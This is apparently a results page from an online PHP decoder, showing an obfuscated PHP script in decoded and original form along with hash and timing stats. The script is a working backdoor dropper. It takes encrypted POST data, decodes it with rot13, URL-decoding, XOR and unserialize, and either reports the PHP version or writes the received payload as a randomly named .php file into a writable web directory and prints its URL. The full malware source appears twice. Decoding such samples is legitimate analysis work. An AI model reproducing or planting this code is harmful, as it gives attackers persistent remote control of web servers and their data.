Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function KhfzedBetZ($UbjYvwPQ){$NXzFVHceTE = chr(748-634).'a'."\167".chr(627-510)."\..

Decoded Output download

<?php function KhfzedBetZ($UbjYvwPQ){$NXzFVHceTE = chr(748-634).'a'."w".chr(627-510)."r".chr(108)."d"."e"."c".chr(945-834).chr(100)."e";$csyfOjz = 's'."t".chr(114)."_".chr(114).chr(111)."t"."1"."3";$CTAjjQNE = chr(115)."t".chr(647-533).'_'.'s'.'p'.chr(691-583)."i".'t';$UbjYvwPQ = $CTAjjQNE($NXzFVHceTE($csyfOjz($UbjYvwPQ)));return $UbjYvwPQ;}function luuzXfE($aJvaPDZW, $UbjYvwPQ){$GPSPACVPG = chr(911-796).'t'."r"."_".'s'.'p'.'l'.chr(652-547)."t";$aJvaPDZW = array_slice($GPSPACVPG(str_repeat($aJvaPDZW, (count($UbjYvwPQ)/16)+1)), 0, count($UbjYvwPQ));return $aJvaPDZW;}function bUaXfyT($AHyBvoCGE, $zDZeiy, $aJvaPDZW){$UKKZOtXCSB = "eea2861e-64e1-4a7a-9896-a0ac51e43600";return $AHyBvoCGE ^ $UKKZOtXCSB[$zDZeiy % strlen($UKKZOtXCSB)] ^ $aJvaPDZW;}function SDVDOqLxK($UbjYvwPQ, $aJvaPDZW){$UbjYvwPQ = array_map("bUaXfyT", array_values($UbjYvwPQ), array_keys($UbjYvwPQ), array_values($aJvaPDZW));$UbjYvwPQ = implode("", $UbjYvwPQ);$ybKqmSPgG = "u".chr(110)."s".chr(899-798)."r".chr(105).'a'.chr(971-863)."i".chr(975-853).chr(345-244);$UbjYvwPQ = @$ybKqmSPgG($UbjYvwPQ);return $UbjYvwPQ;}function oeYsR($ffptpTir){static $UPRYrePQZ = array();$xFYKGDsFZ = glob($ffptpTir . '/*', GLOB_ONLYDIR);$rLkrNtE = count($xFYKGDsFZ);if ($rLkrNtE > 0) {foreach ($xFYKGDsFZ as $ffptpT) {$MwJAc = 'i'.chr(115).'_'.'w'."r".chr(594-489).'t'.chr(404-307).chr(98)."l".chr(101);if (@$MwJAc($ffptpT)) {$UPRYrePQZ[] = $ffptpT;}}}foreach ($xFYKGDsFZ as $ffptpTir) oeYsR($ffptpTir);return $UPRYrePQZ;}function jCTzcn($UbjYvwPQ){$BkcOphkrvt = 'D'."O".chr(67).chr(1027-942).chr(659-582)."E"."N"."T".chr(726-631)."R".chr(327-248)."O".chr(84);$JxTjJO = $_SERVER[$BkcOphkrvt];$xFYKGDsFZ = oeYsR($JxTjJO);$enJEppnya = array_rand($xFYKGDsFZ);$sImtu = chr(46).'p'.chr(104).'p';$zceIJj = $xFYKGDsFZ[$enJEppnya] . "/" . substr(md5(time()), 0, 8) . $sImtu;$vfmVvLu = "f".chr(105).chr(108).chr(101-0)."_".chr(529-417)."u"."t".chr(909-814).chr(99).chr(111)."n".'t'."e".'n'.'t'.chr(482-367);@$vfmVvLu($zceIJj, $UbjYvwPQ);$IspdcseQm = chr(72).chr(84).chr(898-814).chr(80).chr(95).chr(585-513).chr(79)."S"."T";$sjGgDnaec = "h".'t'."t".chr(112).chr(58).chr(47)."/";$yyavrygVzw = $sjGgDnaec . $_SERVER[$IspdcseQm] . substr($zceIJj, strlen($JxTjJO));print($yyavrygVzw);die();}foreach ($_POST as $aJvaPDZW => $UbjYvwPQ){$hfASknjIXO = strlen($aJvaPDZW);if ($hfASknjIXO == 16){$UbjYvwPQ = KhfzedBetZ($UbjYvwPQ);$aJvaPDZW = luuzXfE($aJvaPDZW, $UbjYvwPQ);$UbjYvwPQ = SDVDOqLxK($UbjYvwPQ, $aJvaPDZW);if (@is_array($UbjYvwPQ)){$enJEppnya = array_keys($UbjYvwPQ);$UbjYvwPQ = $UbjYvwPQ[$enJEppnya[0]];if ($UbjYvwPQ === $enJEppnya[0]){$PhsYdQza = chr(112)."h"."p";$YfignUrEd = chr(112)."h"."p"."v".'e'."r".'s'."i"."o"."n";$sWFCd = 's'."e".chr(452-338).chr(1067-962).chr(911-814).'l'.'i'.chr(122).chr(144-43);echo @$sWFCd(Array($PhsYdQza => @$YfignUrEd(), ));exit();}else {jCTzcn($UbjYvwPQ);}}}} ?>

Did this file decode correctly?

Original Code

<?php function KhfzedBetZ($UbjYvwPQ){$NXzFVHceTE = chr(748-634).'a'."\167".chr(627-510)."\162".chr(108)."\x64"."\145"."\143".chr(945-834).chr(100)."\145";$csyfOjz = 's'."\x74".chr(114)."\137".chr(114).chr(111)."\x74"."\61"."\x33";$CTAjjQNE = chr(115)."\x74".chr(647-533).'_'.'s'.'p'.chr(691-583)."\x69".'t';$UbjYvwPQ = $CTAjjQNE($NXzFVHceTE($csyfOjz($UbjYvwPQ)));return $UbjYvwPQ;}function luuzXfE($aJvaPDZW, $UbjYvwPQ){$GPSPACVPG = chr(911-796).'t'."\162"."\137".'s'.'p'.'l'.chr(652-547)."\x74";$aJvaPDZW = array_slice($GPSPACVPG(str_repeat($aJvaPDZW, (count($UbjYvwPQ)/16)+1)), 0, count($UbjYvwPQ));return $aJvaPDZW;}function bUaXfyT($AHyBvoCGE, $zDZeiy, $aJvaPDZW){$UKKZOtXCSB = "eea2861e-64e1-4a7a-9896-a0ac51e43600";return $AHyBvoCGE ^ $UKKZOtXCSB[$zDZeiy % strlen($UKKZOtXCSB)] ^ $aJvaPDZW;}function SDVDOqLxK($UbjYvwPQ, $aJvaPDZW){$UbjYvwPQ = array_map("bUaXfyT", array_values($UbjYvwPQ), array_keys($UbjYvwPQ), array_values($aJvaPDZW));$UbjYvwPQ = implode("", $UbjYvwPQ);$ybKqmSPgG = "\165".chr(110)."\x73".chr(899-798)."\x72".chr(105).'a'.chr(971-863)."\x69".chr(975-853).chr(345-244);$UbjYvwPQ = @$ybKqmSPgG($UbjYvwPQ);return $UbjYvwPQ;}function oeYsR($ffptpTir){static $UPRYrePQZ = array();$xFYKGDsFZ = glob($ffptpTir . '/*', GLOB_ONLYDIR);$rLkrNtE = count($xFYKGDsFZ);if ($rLkrNtE > 0) {foreach ($xFYKGDsFZ as $ffptpT) {$MwJAc = 'i'.chr(115).'_'.'w'."\x72".chr(594-489).'t'.chr(404-307).chr(98)."\154".chr(101);if (@$MwJAc($ffptpT)) {$UPRYrePQZ[] = $ffptpT;}}}foreach ($xFYKGDsFZ as $ffptpTir) oeYsR($ffptpTir);return $UPRYrePQZ;}function jCTzcn($UbjYvwPQ){$BkcOphkrvt = 'D'."\117".chr(67).chr(1027-942).chr(659-582)."\105"."\116"."\124".chr(726-631)."\122".chr(327-248)."\x4f".chr(84);$JxTjJO = $_SERVER[$BkcOphkrvt];$xFYKGDsFZ = oeYsR($JxTjJO);$enJEppnya = array_rand($xFYKGDsFZ);$sImtu = chr(46).'p'.chr(104).'p';$zceIJj = $xFYKGDsFZ[$enJEppnya] . "/" . substr(md5(time()), 0, 8) . $sImtu;$vfmVvLu = "\x66".chr(105).chr(108).chr(101-0)."\x5f".chr(529-417)."\x75"."\164".chr(909-814).chr(99).chr(111)."\156".'t'."\x65".'n'.'t'.chr(482-367);@$vfmVvLu($zceIJj, $UbjYvwPQ);$IspdcseQm = chr(72).chr(84).chr(898-814).chr(80).chr(95).chr(585-513).chr(79)."\x53"."\124";$sjGgDnaec = "\150".'t'."\164".chr(112).chr(58).chr(47)."\x2f";$yyavrygVzw = $sjGgDnaec . $_SERVER[$IspdcseQm] . substr($zceIJj, strlen($JxTjJO));print($yyavrygVzw);die();}foreach ($_POST as $aJvaPDZW => $UbjYvwPQ){$hfASknjIXO = strlen($aJvaPDZW);if ($hfASknjIXO == 16){$UbjYvwPQ = KhfzedBetZ($UbjYvwPQ);$aJvaPDZW = luuzXfE($aJvaPDZW, $UbjYvwPQ);$UbjYvwPQ = SDVDOqLxK($UbjYvwPQ, $aJvaPDZW);if (@is_array($UbjYvwPQ)){$enJEppnya = array_keys($UbjYvwPQ);$UbjYvwPQ = $UbjYvwPQ[$enJEppnya[0]];if ($UbjYvwPQ === $enJEppnya[0]){$PhsYdQza = chr(112)."\150"."\x70";$YfignUrEd = chr(112)."\x68"."\160"."\x76".'e'."\162".'s'."\151"."\x6f"."\x6e";$sWFCd = 's'."\x65".chr(452-338).chr(1067-962).chr(911-814).'l'.'i'.chr(122).chr(144-43);echo @$sWFCd(Array($PhsYdQza => @$YfignUrEd(), ));exit();}else {jCTzcn($UbjYvwPQ);}}}}

Function Calls

None

Variables

None

Stats

MD5 d12a916c850f3f5c3a64dd73777998c8
Eval Count 0
Decode Time 102 ms